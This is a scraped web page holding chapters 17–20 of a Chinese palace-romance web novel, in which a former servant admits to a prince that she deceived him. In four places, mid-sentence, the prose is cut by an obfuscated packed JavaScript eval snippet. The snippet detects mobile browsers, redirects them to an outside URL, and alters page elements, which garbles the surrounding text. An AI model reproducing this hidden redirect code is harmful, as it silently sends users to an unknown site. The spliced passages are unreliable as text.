主子说话,下人在这里多有不便,她放下药碗后又把酿好的糖荔枝和金丝蜜枣一并摆好,这才又将门合上。 千裔清皱着翘鼻埋怨:“殿下先前不是还要把我送给佑王,怎么这会儿又装出一副关心我的样子?” 听到“佑王”二字,容怀瑕的心情顿时又阴沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千裔清晃过神来,收拾干净脸上的尴尬,转而挂起羞涩,千娇百媚,笑容含糖。 她回握上那只手:“那日的比赛,殿下赢了吗?” 容怀瑕对她这没头没尾的话怔然,却还是有问必答:“那日五哥宫中的侍卫前来告知我,因此我便提早离场了——应该算是输了吧。” 千裔清挑眉说道:“殿下还记不记得那天问过我什么?” 他记得,他问:那你呢,你也有喜欢的、想要去争的吗? 可是千裔清说过,他赢了比赛才能告诉他。 容怀瑕是个讲规矩守节制的人,他没有赢,所以他不问,即便他很想知道。 暗自叹了口气,他惋惜道:“可是我输了。” “是,殿下输了,可我还是想告诉殿下我的答案。”她眼睛亮亮的,歪着头看他。 “我的确有喜欢的、想要去争的,而且......我已经争到了。” 17. 姐姐 绛雪觉得府中好像有什么变了。 譬如千裔清突然不再想着法子避开苦药渣子,只要容怀瑕喂,她就乖乖的喝。 譬如容怀瑕不再故意作出疏离的模样暗暗关心她的起居,而是大大方方的带着她出门闲逛,也会很自然的牵着她的手扶她下车。 再譬如千裔清虽然仍旧唤他“殿下”,说话却是越发大胆放肆,少了许多不自然的礼节,而容怀瑕早已不再叫她的名字亦或“千姑娘”,而是常看着她笑,轻轻柔柔的唤她“千千”。 如果说府中有什么变了,她觉得应该是这两个人变了。 - 三月末,距离从画山围场回来已有六日,她手臂上的伤口早已结痂,变得发痒起来。 汤药也是不必再喝了,璟王和祝音带着御医又来瞧了一趟,还送上一些祛疤凝肤的药。 除此之外,璟王还带来一个好消息。 永光帝在为太子选定成婚日子的同时,还为璟王和祝音赐了婚。 千裔清惊喜之余更多的是讶异:“皇上怎么会同意你们的婚事?” 祝音翘着腿笑,脸上全无小女儿的羞涩:“是齐光哥哥替我们做了说客。” 太子帮了他们?为什么? 千裔清想起那天在马车上璟王说过的话,能让永光帝改主意,果然还是需要太子开口。但她不信太子会这么轻易帮他们,璟王......一定是答应了他的什么条件。 笑了一会儿,祝音突然脸色一凝,蓦的叹了一声。 她看着千裔清面带犹豫:“其实......千千姐姐,其实我想问你,既然我和九皇子的婚事已经作废了,你有什么打算?是要继续留在这儿,还是......还是......” 祝音咬着唇,实在是无法说出离开的话。 她自然看得出容怀瑕喜欢千裔清,也知道璟王和他这位弟弟感情不错,但她不确定千裔清对心意。 若是千裔清执意要走,九皇子怎么办? 对千裔清来说其实并没有什么差别,她遇不遇到容怀瑕,无非就是那样活着或这样活着。 只是活着罢了。 因此她倒也没有非要留下或非要离开的想法。 对千裔清来说,在霜序居了此残生恐怕是最好的结局。换做还身在相府的她是想都不敢想的。 至于是否对容怀瑕有情——不重要。 千裔清沉吟,缓缓道出了她所担心的另一件事:“其实前段时间,我在街上遇了你祝纶。” “遇到律章哥哥?”祝音不解,“大家同在恕城,遇见不是很正常的吗?” “遇到他的确正常,但你那位大哥派人窥视霜序居,探寻我的下落,这就不正常了吧?” 听到这话,祝音也不由得面色一紧。 她这位兄长什么德性没人比她更清楚,若是千裔清跟了任意一位王爷恐怕都不会有什么,偏偏是容怀瑕,这个众人眼中只是挂了虚名并无实权的皇子。谁会真的把他放在眼里呢? “要不......我再求玉衡哥哥想办法?” 千裔清不禁失笑:“想什么办法?他护得了我一时,又护不了我一世,你想的太简单了!” 正说着,门外传来叩门声。是璟王身边的侍卫燕歌前来传话。 “祝音小姐,璟王殿下说时候不早了,该送您回府了!” 祝音有点儿惋惜:“那千千姐姐,我下次再来看你,你说的事,我会再让玉衡哥哥想办法的!” - 璟王府的车马远去。 想起方才璟王看祝音的眼神,千裔清打心底里为她高兴。 只是眼前陡然浮现那日祝纶的嘴脸,刚刚扬起的嘴角很快耷拉下来,看起来有些丧气的转身进院。 容怀瑕看着她一会儿高兴一会儿烦闷的:“怎么了?” 千裔清兴致缺缺:“没什么。” 容怀瑕以为她是羡慕:“二哥的婚事祝小姐同你说了吧。” “嗯,说了。”千裔清不明白他为什么突然提起这事,转头问他,“怎么,你后悔了?” 容怀瑕哭笑不得:“我后悔什么?” 她扬起唇故意逗他,食指在他下巴上轻轻勾着:“后悔......没答应皇上的赐婚啊!” 青涩的少年经不起挑逗,也听不得这种诬蔑他心意的玩笑话,一脸正色地钳制住她不安分的纤指。 “我从来没打算娶她。” “知道知道,殿下说过不打算娶亲的嘛!”千裔清挣脱不得,只好仰头盯着他,两人之间的身高差让她仰着脖子时略感费力。 专注的神情转眼又变得阴霾,抿了抿唇角,他没说话。 千裔清只觉得钳制她手的力度又大了几分。 她歪着头问:“难不成殿下改主意了,打算娶我?” 这下倒好,阴霾的表情又转了晴,不过还带了点局促。 千裔清就这么看着他表情时好时坏的,心道小孩子真是藏不住心思。 容怀瑕知道她是故意的,颇觉无奈,于是换了种问法:“那你是不想嫁?” “想啊!不过有条件!” 没料到她如此直接的就答了,好像根本没经过思考。讶然之余,容怀瑕对她所说的条件更加感兴趣。 “什么条件?”说完,他突然发现手中握着的柔荑有些冰凉,便两只手合紧替她捂着,似乎这样便能把自己身上的暖意传达给她,连带着心中的暖意。 “嗯......要不这样,你叫我声姐姐,我就答应你?” 路过的小厮听到这话顿时吓出一身冷汗。 敢对当朝尊贵的皇子说这种话,真是不知死活,也就是千裔清了! 不敢多听下去,小厮抱着柴木,低下头忙小跑撤离。 果然,容怀瑕皱起眉头,不知是不愿意还是不理解:“为什么?” 千裔清理所当然道:“我比你年长啊,你叫我声姐姐怎么了!” “我知道,我是说,为什么叫你......才肯答应?”他故意跳过那两个字,含糊的一笔带过,继续追问。 其实也没有什么,她只是觉得这么好看的少年郎每次被她调侃时都会红了耳廓,这样循规蹈矩的九皇子......若是能这样唤她一声,应该也挺有趣的。 她只道:“没有为什么,你叫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899853|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我要是听得高兴,兴许就答应你了。” 容怀瑕有些局促,掌心不由自主裹着她的手捏了两下。 像是下了很大的决心一般,他缓缓抬起眼帘,试探道:“......姐姐?” 千裔清一怔,第一次露出十分错愕的表情。这种错愕不同于往日的惊讶,而是觉得难以应对,低沉磁性的声音和眼前这张脸形成强烈的反差,这轻喃的一声唤得她全身酥酥麻麻,大脑向被雷击了一般。 她没想过被他这样叫是怎样的场景,但一定不应该是这样。 所以这一次,红了耳廓的是她! 她假装无事发生,眼神却在悄悄闪躲。 容怀瑕何等敏锐,他注意到了,捕捉到了。 于是他第一次露出十分狡黠的笑,微微弯下身子,凑近她别开的侧脸,贴上她红透了的耳边柔声诱惑。 “姐姐,要不要嫁我?” 原来逗她也挺有趣的。 - 没有给他想要的答案,千裔清落荒而逃了。 然而容怀瑕也没生气,他好像发现了什么有趣的事,毕竟向来是他吃瘪,头一次两人掉了个,换成千裔清说不出话了。 反观千裔清,她却是懊恼。 容怀瑕越迁就她,越是对她好,她心中那份不安就越强烈。 许是在霜序居的日子实在太安逸了,她贪恋这种安逸,享受这种安逸,所以就更加怕死。 - 四月初四,清明。 千裔清回家乡去祭拜了自己的父母。 容怀瑕本是要陪她一同的,不过宫中也有相应事宜。千裔清先是搪塞,扬言等他回来再一起去。 然而容怀瑕和陆离前脚出了门,她后脚便自己离开了。 顺路从山腰路过,两年未归,原先的琴肆已经从烧坏的土墙翻新成茶铺,店主是她没见过的外地人。 千裔清只感叹物是人非,还好没带着容怀瑕一起来,不然在她双亲的墓前,她是一句真心话也说不出口的。 清明果真是个奇怪的节气,前一天日头正晴,今天就下起了雨。 可是这雨也不大,雾蒙蒙的,徒增一份伤感罢了。 来至霜序居门前,陆离正急匆匆的像是要出门,两人迎面碰上,他却又不急了。 “陆离大人?”千裔清四处打量了一圈,“大人没跟着殿下一起回来?” 陆离卸下紧绷的神经:“殿下不放心你,所以让我先回来看看,千千姑娘这是出去了?” 千裔清有点不好意思的笑了笑:“嗯,去祭拜了我父母。陆离大人别误会,我只是觉得殿下宫中事务繁忙,实在不忍因自己的小事耽误他。” 陆离敏锐地看着她,似是信了又并未全信,他点点头:“千千姑娘下次还是听话些吧,殿下关心你,莫要辜负了殿下的好意。” “大人的话我记下了。” 陆离这才算罢,点点头,转身和她一同跨进大门。 “千千姑娘——” 听得这声音,千裔清头皮一紧,大脑顿时一片空白。 这催命一般的声音是...... 祝纶?! 18. 真相 细雨蒙蒙,青衣长衫,一旁的圆眼小厮撑着伞跟在一旁。 少爷模样的人正是祝纶。 千裔清头昏脑胀,陆离却是不明白其中缘由。 但两人是旧相识是一定的,看这样子,这少爷也不像什么善茬。 陆离回过身径直上前,握剑的手在身前一横,不着痕迹地将千裔清挡在身后。 陆离原本相貌就很端正,只是总喜欢板着脸,看起来不大好接近,然而此时他横剑站立的样子倒是颇有气势,落在祝纶眼里就是另一番意思。 祝纶抬起头,确认一般又看了眼顶上的石刻提字,侧脸看向一旁的小厮。 “确定是这儿吗?” “确定啊!” “那他是九皇子?” “不是......” 祝纶清了清嗓子,不屑一顾道:“你是什么人?” 陆离冷眼呵斥:“你又是什么人?胆敢来九皇子府上闹事!” “呦呵——”祝纶偏生一副天不怕地不怕的样子,“你是容怀瑕的手下?怎么这么没眼力见儿,你家主子就是这么教你的?连本公子都不认识?” “竟敢直呼殿下名号,你不想活了?” 祝纶不在意的一笑,斜着身子看他身后的千裔清:“千千,我早说了会亲自登门的!” 陆离看着他一身价格不菲的料子,腰间的饰物更是挂了数件,材质品相皆是不俗,就连那小厮手上撑起的伞上玉坠看起来都不是寻常可见的。 是个富贵子弟——可怎么会认识千裔清? 察觉到陆离怀疑的目光,她叹了口气,知道瞒不下去了。 千裔清上前一步,扒下他横起的剑,解释道:“他是相府的大公子,祝纶。” 陆离一愣:“祝音小姐的哥哥?”怎么品性相差如此之大。 千裔清沉着脸,俨然端出一副女主人的架势,看着祝纶道:“我顾念你是祝音的兄长对你一再忍让,你不要得寸进尺,殿下马上就要回府了,你要是识趣就自己走吧!” “他一个小小的九皇子,你当本公子怕他?”祝纶一声冷笑。 “我知道你不怕他,那你怕不怕璟王?” 璟王的名号的确有些力度,饶是祝纶再张狂,听到这两个字也不免神色一紧,很快他恢复过来,把手随意的一甩。 “你少唬我!璟王以后是我的妹夫,我们可是一家人!” “是啊,璟王是你妹夫,可祝公子是不是忘了——他是九皇子的亲兄弟?”千裔清鄙夷地看着他,“容我再提醒公子一句,若是因为你得罪九皇子而害得他们婚事作废,你觉得璟王会如何呢?” “这......” 陆离看着祝纶,心中还在思量他们之间到底是什么关系,却见拐角的车马一晃进了宽巷。 千裔清也瞧见了,那马车她再熟悉不过,正是容怀瑕府上的! 接着那与她朝夕相处一个月的人影从车上下来,陆离急忙迎上。 容怀瑕泰然自若地整理好衣摆,目光落在千裔清身上,连正眼都没瞧祝纶一眼。 “怎么了?”容怀瑕上前,牵着她一只手关切道,“手怎么这么凉?” “没、没事......”她声音很小,小到自己都快听不清,诚然是在心虚。 容怀瑕这才把目光施舍给祝纶片刻,“他是何人?” 陆离说道:“殿下,千千姑娘说——他是祝小姐的哥哥、祝纶。” “祝纶?”容怀瑕在脑海中思索片刻,突然想起什么,嗤笑一声,“倒是听二哥说起过祝小姐有个不成器的兄长——”目光落在祝纶身上,毫不掩饰自己的讥讽,“就是你啊?” “你——” 不等他说下去,容怀瑕抬手打断,一脸的不耐烦:“祝公子,你来我霜序居有什么事?” 祝纶看了千裔清一眼,突然笑得诡异:“当然是来找人的。” 容怀瑕阴沉着脸,狭长的瑞凤眼微微眯起,语调听不出喜怒:“如果你是来找我的,那么抱歉,我不认识你,如果你是来找——她。”目光落在千裔清脸上转瞬移开,“那么也很抱歉,她是我的人,我不许。” 最后一个字似乎是磨着牙说出口的,千裔清站在身旁,不由觉得身上一寒。 此刻的容怀瑕给她只有一种感受——陌生。 祝伦觉得自己被羞辱了,他急得跳脚,指着两人骂道:“这女人不过是我府上的一个婢子,也值得你这么当个宝一样护着?果然是贱人有贱命!你身为皇子,竟也不觉得掉价!” 其实当祝伦骂到一半的时候,她就感觉到握着她的那只手微微一颤,一定是生气了。 她不想容怀瑕与祝伦再针锋相对,亦或是回骂,他贵为皇子,与这种人计较才是真的掉价。 所以这等掉价之事还是让她来做吧! 千裔清反握他的手,不敢让他发作脾气。自己则挺身上前:“祝公子既然觉得我是个卑贱的婢子,那你几次纠缠于我岂不是更卑贱?” 到了这种地步,她已经不打算隐瞒,反正也是瞒不住的,干脆说得更清楚一些:“祝公子,是不是那日在相府,祝丞相打你打的轻了?不知道璟王府的板子你有没有挨过?要不要去试试?” “你少拿璟王压我!我爹是丞相,就算他站在本少爷面前,我也不怵!”被一个女人如此折辱,心高气傲的祝纶自然忍不得。 千裔清陡然一笑,眸中闪着一丝阴谋得逞的意味。“真的?” “真、真的!” 千裔清点头,而后看向祝纶身后,欠身施礼道:“璟王殿下,只好麻烦你替祝公子达成心愿了。” 什么? 祝纶惊疑地看向身后,只见璟王一身华服,脸上的表情似笑非笑。 璟王看着祝纶:“好说。” - 正堂之上,千裔清垂头站在厅中不敢言语,容怀瑕坐在椅子上不知在想什么。 偌大的客厅大门紧闭,只剩下她和容怀瑕两人。 然而谁也没有说话,就这么沉默着。 千裔清悄悄抬眸瞥他几眼,发现容怀瑕自始至终都在目不转睛的盯着她看,像是在等她先开口。 又沉默了一会儿,容怀瑕问:“你没什么要对我说的?” 她咬了咬唇,想开口,却是不知从何说起。 “殿下想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899854|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听我说什么?” “你和祝音早就认识。” 略过了祝纶和相府,她没料到容怀瑕却是直接将话题锁在了祝音身上,这让她应接不暇。 容怀瑕聪明,却没想到如此聪明。 她老实承认:“是。” 容怀瑕没说话,千裔清低着头,听到他缓缓起身,慢慢走过来。 接着她视线范围内出现了一对锦靴,鞋面干净整洁。 一只大手蓦的钳上她低垂的下巴,强迫她抬起头和他四目相对。 “你接近我......是为了祝音?” 下巴上的力道捏的她骨头生疼,但她还是勉强挤出一丝笑,保留一丝体面。 她眨眨眼:“我说不是,殿下会信吗?” 容怀瑕看着她不咸不淡道:“信。” 千裔清故作惊讶,然后笑得更加娇媚:“那就不是。” 他瞳中闪过一丝受伤,捏着她的手也微微发颤。 “所以你一直在骗我?” 她一怔,也顾不得许多后果,突然觉得许久以来的压抑伪装在此刻隐隐想要崩溃,她干脆选择破罐破摔。 好累,不想再演了。 一手狠狠拂过下巴上的手腕,把他的手拍落一旁。 千裔清后退了半步,整理好身上的衣裳,又伸手扶了扶快要落下的步摇,姿态优雅地站定。 此刻她的脸上再无半分媚色,一如误入凡间的仙子。 清冷、淡漠、决绝。 “殿下既然猜到了,就不必自取其辱了吧?” 她好狠。 这样三个字在容怀瑕眼中一闪而过,千裔清一眼便捕捉到了。 然而她仅是为之一瞬动容,而后仍是波澜不惊地看着他:“殿下想如何?杀了我,还是原谅我?” “你想让我杀了你?” “我自然不想,我想活着,不过还要看殿下愿不愿意让我活着了。”她垂眸想了想,突然甜甜一笑,“殿下若是愿意不计前嫌,让我做您的侍妾、通房,哪怕继续做个婢子都无妨,不过就怕殿下觉得我欺瞒于您不肯原谅罢了。” 看似是在求得他原谅,然而她面上、话里都十分难听,丝毫没有知错和求饶的态度,反倒明里暗里的都像是讽刺,每一句、每一个字都在挖苦,深深刺痛他的耳朵。 喉头上下滚动,容怀瑕艰难的咽下一口怒气,沉了沉心神,面色痛苦地问道:“你是从什么时候开始骗我的?” “从第一次见面。”她仍旧坦诚,半个字都懒得再编了。 容怀瑕没再说话,像是彻底失望了。 千裔清道:“殿下若没别的事我就先走了,至于您想如何处置我,等您想好了再告诉我,我等着。” “我只问你一句——” 千裔清停下脚步,转身看着他:“殿下还有什么问题?” “骗我,你可有后悔过?” 她认真想了想:“后悔过,不过还是继续骗下去了,因为我并不喜欢你,硬要说的话......我觉得你可怜。” 她笑了笑,又说道:“其实我也挺可怜的,不如殿下也可怜可怜我,留我一条命吧。” 19. 赔罪 要说后悔,她一定也是有的。 她沉溺于这一个月以来的安逸生活,这是她自双亲去世后第一次感受到被人护着。 然而这安逸也让她好累,每时每刻都要去演戏,作出并不属于她性情的样子,还有整日提心吊胆,担心这安逸被破坏。 因此,当这一切突然被打破,她反而更觉得心安和解脱。 若说她没心肝,她也认了。 非自由之身的奴役,要心肝有什么用?能让她活着吗? 来时带着的妆匣安稳的锁在柜子里,她取出,盒面上染了一层薄灰,轻轻一吹便消散了。 匣子最底层是她从璟王那里收来的银票,除去分于张妈妈的,还剩下十万两。 足够她后半生奢靡了。 一月,换得十万。 这买卖她赚大发了,只是可惜,夜南怕是待不下去了。 入夜前,千裔清在想,容怀瑕为什么还不来处置自己,是死是活,倒是给个准信儿。 一直到她真的睡下了、睡着了,容怀瑕还是没有来找她,府中下人待她依旧如初,下午的事就像没发生过一样。 然后陆离和容怀瑕皆不在府中,所以,这件事的的确确是发生过的。 昏昏沉沉的清明终于过去,翌日,窗外又恢复至清明前天的大晴天。 千裔清翻了个身,一只手从里侧翻到了另一侧,按上了一片温温热热的。 她意识还不大清醒,只是闭着眼睛摸了摸脸侧掌下的那件物什——修长,还有颇为明显的骨节。 千裔清陡然睁眼,却发现自己正把一只偏瘦男人的手按在掌下,十分轻浮的摸索。 这只手的主人正是昨日与她决裂的九皇子。 他正坐在床侧看着她。 千裔清几乎是立刻清醒了,她扯紧胸前的锦被,掩饰下心中的慌乱:“殿下怎么招呼也不打一声就进来了?” “看你睡得熟,没吵醒你。”容怀瑕说着,脸上不带半分情绪。 千裔清偏过头观察他的表情:“怎么,殿下想好怎么处置我了?” 容怀瑕平放着的手掌倏的蜷起,微微攥紧。他看着千裔清:“你非要用这种语气和我说话吗?” “那殿下喜欢什么语气?我可以试试。” 容怀瑕突然起身,背对着她负手而立:“今晚随我去趟祝府。” “好。”虽然不知道为什么要去祝府,但她还是先答应了,又问,“需要我准备些什么吗?” “不用。” “好。”她还是点头,看起来十分乖巧听话。 容怀瑕偏头略微回身,余光在她脸上一扫而过,终是什么也没说,又默然离开了。 - 傍晚,天色方才渐黑,千裔清跟着容怀瑕来到相府,一进门就见祝纶正跪在大院之中。 身边的丫鬟仆人皆是在小声议论,一面装着做工的样子,手上却很是敷衍,分明是在看热闹。 昔日意气风发的何姨娘正哭天抢地地拽着祝继明的袖子,再看祝既明仍是紧紧绷着脸不为所动。 这是怎么了? 千裔清不免看向身旁的容怀瑕,然而他脸上并没什么特别。 千裔清紧跟上他,又随着往院中更进一些。 祝丞相注意到来人,嘴唇上方的胡须也跟着抖了抖,忙丢开缠在身边的何若芸,继而恭敬地迎上前。 “九皇子殿下,您来了!”目光落在一旁的千裔清脸上,祝丞相面色出现一瞬的尴尬,硬着头皮问道,“这位就是......九皇妃吧?” 皇妃? 千裔清只觉得太阳穴突突直跳,祝丞相倒是真敢说啊! 容怀瑕没理会他的寒暄,看向院中跪着的祝纶说道:“这是做什么?” 祝丞相赔着笑:“小儿无礼惹怒了殿下,下官正在教训他——律章!还不滚过来跟殿下认错!” 祝纶背影一颤,连滚带爬的俯在地上移了过来,头发散乱,脸上赫然几道凌乱的巴掌印,看起来还挺惨的。 千裔清不会可怜他,只觉得他这样子挺可笑的。 “殿下、千姑娘——我......我错了!我该死!我有罪!” 她问道:“既然是认错,为何不亲自去殿下府上,还要我们过来?” “这——”祝丞相脸色一滞,解释道,“是殿下说......小儿上门会弄脏殿下的门楣......” 听到这里,千裔清悄悄望了容怀瑕一眼,他还是没什么喜怒的样子,也不知道是原谅了还是没原谅。 正想着,容怀瑕开口了,却是看着她:“你觉得如何?” 什么如何?她没懂,愣愣看着他。 容怀瑕会错了意,又沉声对着祝丞相说道:“她不满意。” “什么?”祝纶一惊,忙又移动膝盖,拱着手对她求饶,“千千......不不不!千姑娘,我真的知错了!你就原谅我吧!我有罪、我有罪、我有罪......” 祝纶一遍遍重复着认错的话,看起来态度还算诚恳。 这么说......是容怀瑕让祝纶向她道歉的? 为什么?难道不是应该处置她吗?怎么好像处置错了人! 但不得不说,眼前这一幕还挺爽快的。 千裔清摆摆手:“行吧,我满意了。” 祝纶动作一顿,看向容怀瑕。 “嗯,那就走吧。” 说完,他也不等祝丞相一家的反应,又拉着千裔清打道回府了。 嗯?就这么结束了? 匆匆的来,匆匆的去,实在让千裔清摸不着头脑。 - 已到亥时,夜幕低垂,今晚的风暖意极甚,千裔清难得在夜里推开窗子吹一吹院里的风。 风中花香缱绻,好闻的要紧,千裔清微微眯着眼,撑在窗台向天上看。 一颗、两颗、三颗...... 今夜的星星也细碎闪亮,白的发蓝,澄澈如玉颜色。 收回目光,突然瞥见远处的假山湖边,石桌旁似乎坐了个人,桌上昏黄的灯化作暖色的光点,隐约看得见那人轮廓,是在对着湖面独酌。 千裔清想了想,披上件披风朝着他走去。 背后笼上一块小小的阴影,连湖边的寒气都拦住了些,容怀瑕端着酒杯的手一直,微微勾起唇角,也不回头。 “坐吧。” 千裔清没应声,还是听话地坐下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899855|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜色如墨,容怀瑕白净的面容在月下更显稚嫩一些,此时他目光已经有些涣散,桌面上东倒西歪的几只酒壶昭示他已经喝了不少。 “今日多谢殿下为我出气。” 纵是闹过不愉快,她恩怨分明,该谢还是要谢的。 容怀瑕垂下眼睑,嘴边泛起一丝弧度:“那日你说我可怜,是不是觉得我没用,保护不了你?” “为什么会这么想?”千裔清脸上划过一丝诧异。 她是说过他可怜,她也的确觉得他可怜,但那些可怜都是基于他的身世,他的生活,以及......他被她招惹却又受她欺骗这个事实,再无他。 所以今夜相府那一出,是他想要证明自己不比其他几位哥哥差,他们能做到的,他也可以。 九皇子殿下好像又会错意了。 容怀瑕蓦然抬头,目光落在她姣好的脸上:“难道不是吗?你觉得我没用,没本事保护你,所以你不愿意跟我在一起,你想丢下我了是不是?” 带着醉意的手微微颤抖,他突然拉过她手腕,全神注目着她的双眼,认真道:“你选择了我,怎么能反悔呢?” “殿下......”她抽回手,揉着发疼的手腕,“殿下自重。” “自重?” 他像是听到了笑话,摇摇晃晃起身来到她面前,两只手臂撑在她身后的石桌上,将人挤在身前。 “那日我也请你自重,可你是怎么做的?” 那日他脱口而出一句自重,而她却打算一不做二不休,甚至想过要不要来个霸王硬上弓,不过失败了。 千裔清推搡他死死拦在身前的肩膀、臂弯、以及腰身,皆是丝毫未动。 “若我变得有用,能够保护你了,你能不能跟我在一起?就算你可怜我,好不好?” 看着他卑微恳求的表情,千裔清叹了口气,伸手在他脸上轻抚着:“你何至于如此?殿下是皇族,不懂我们这些小人物的人生疾苦。或许你们想的是如何得到权利和财富,如何享受几十年的大好人生,可我不一样,殿下,我只想活着。然而任人宰割的普通人在皇族中想活着实在太难了,你明白吗?” “我明白!我明白的!”他伸手按住她的手背,生怕她就此抽手。 千裔清笑道:“你明白什么?” “只要足够强大就能让你活着,我明白的。”他急促的扯了扯嘴角,像是笑了一下,“你别走,我保护你,好不好?” 那双漆黑的眸子亮的发烫,两人交叠的影子映在湖面之上,月空之下,看起来极为暧昧。 千裔清心中生出不忍,一瞬间,她想了许多种未来许多种可能。 容怀瑕看得出她的犹豫,看得出她的动容,生怕拂了她的意,他尽可能的放轻了声音,像是商量一般又问了一声。 “好不好?” 她又想了,一切的可能似乎都不如在眼前这人身边好。 因为他好。 少女的眼睛终是弯了起来,如一弯新月,但比今夜天上的好看万分。 她的声音也动听,说出的话也好听,虽然只有那么简简单单的一个音节,可他听清楚了,也记清楚了。 她说:“好。” 20. 落崖 乔木落叶,碧色的枝条扶疏,屋后的垂丝海棠越发轻盈粉紫。 绛雪提着竹编的花篮跟在千裔清身后,只见她精挑细选着,逛了许久才折了几枝满意的。 看门的小厮急匆匆来传话,说是太子宫中传话请她进宫一趟。 千裔清闻言和绛雪对视一眼,两人都是一头雾水。 “太子宫里不是正忙着筹备婚事吗?这个时候传我进宫做什么?” 小厮摇摇头:“那人只说是替太子来接您的,别的一概没交代。” 千裔清沉吟片刻,把手中的一枝海棠放进竹篮,提起裙摆往正门去。 顺着小厮引路,门外确实稳稳当当停了辆精致华丽的马车,只从外形上就瞧得出十分铺张。 她看向车夫问道:“官爷既是宫里当差的,敢问可知道太子找我有什么事?” 那人倒也是礼貌客气,拱着手说:“太子殿下没说,只说让请您过去。” 千裔清犹豫道:“九皇子还未回来,我若是随意出门被他知晓怕是要惹他不快,能不能请太子再等等?” “这个姑娘放心,九皇子现在也在太子宫里,您去了就能见着他了!” 不过她还是留了个心眼儿,偏过头小声问身边的小厮:“太子宫中的马车你见过么?可是长这样?” “好像是,又好像不是......”小厮挠着脖子,左看右看都不太能确定。“宫里的马车不止这一辆,又长得都差不多,我也认不清了......不过您瞧这车上的装饰比璟王殿下的还好,应该错不了!” 这话却是不错,千裔清也顺着他的目光将这车子左右仔细打量了一遍。 那人又在催促了,自顾自的掀起了马车门帘,两块镂空雕刻的木门扇叶之后是宽敞的车内空间,坐垫都是软绣,垫边还坠了珍珠和翡翠,比外头看起来还要奢靡。 再怎么说太子是她得罪不起的,千裔清办法,只好应下,提起裙角上车。 - 马车慢走了好一会儿,这期间千裔清一直在向外看着街边的光景,觉得自己好像身在车上,跟着在城中兜了个圈子。 “这不是南街吗?” “啊?啊、对啊——” 虽然没去过皇宫,但大致方位她还是知道一些。 千裔清沉下脸来:“要去见太子,出了霜序居应该往东边走,怎的你却领着我往南?莫不是迷路了?” “嗐!实在对不住了,我家王爷亲口吩咐的,小人不敢不听啊!”车夫尴尬地一笑,“您再忍忍,很快就到了!” “你家王爷?那就是佑王了?” 众多皇子中被封王的只有三个,其中一个还不在朝,其他几个王公贵族皆在偏远封地。 璟王若是找她不必如此大费周章,那么就只剩下另一个——佑王。 “佑王找我什么事,你不妨直说吧,不用藏着掖着。” “这个小人真的不知啊!喏——前面就到了,姑娘还是亲自去问王爷吧。” 马车很快停下,眼前所至正是佑王府。 门口的管家侍卫站在两侧,几乎将整条宽敞的街口围了个水泄不通,显然是在告诉她不要打逃跑的主意。 千裔清本来也没打算逃,自打上了这趟车,还逃得掉吗? 不知道等了几个时辰,眼见着天色黑了,也是从晌午等到了晚上,佑王姗姗来迟,总算是想起府上还有这么个人被他“请”来。 房门外刚有声响,千裔清立刻警觉地起身,探头看去,果然是佑王。 时隔许久,再见时佑王还是忍不住为她姣好的容貌惊艳了一把,眼中的欣赏之色毫不掩饰。然而只是片刻,他恢复如常。 来人一步一步缓缓靠近,她心中警铃大作,却不敢露怯,免得让对方更加猖狂。 “佑王殿下假借太子名义找我过来,难道是有什么要紧的事?” 佑王笑了笑,拉过脚边的方凳坐下:“你不用刻意把那几个字挂在嘴边,我与五皇兄本是一家,什么假借不假借的,也太难听。” “哦?这么说太子对此事也知情了?” “我可没说他知情。”佑王把两只胳膊堆在桌沿,像个学堂认真听话的学子一样端正坐好,歪着头看她,“你的伤好些了?” “挺好的,多谢佑王挂念。”千裔清实在摸不透他要做什么,只能继续冷着脸回应,一边与他保持着安全距离。 “别紧张——”他垂着下巴抿嘴一笑,一脸的不在意道,“本王贵为佑王,想要什么样的女人没有?本王才不屑于作出那等强迫之事——坐吧。” 闻言,千裔清暗自松了口气。却是更不明白他今日的目的了。 佑王见她终于坐下,眼中的惋惜一晃而过。 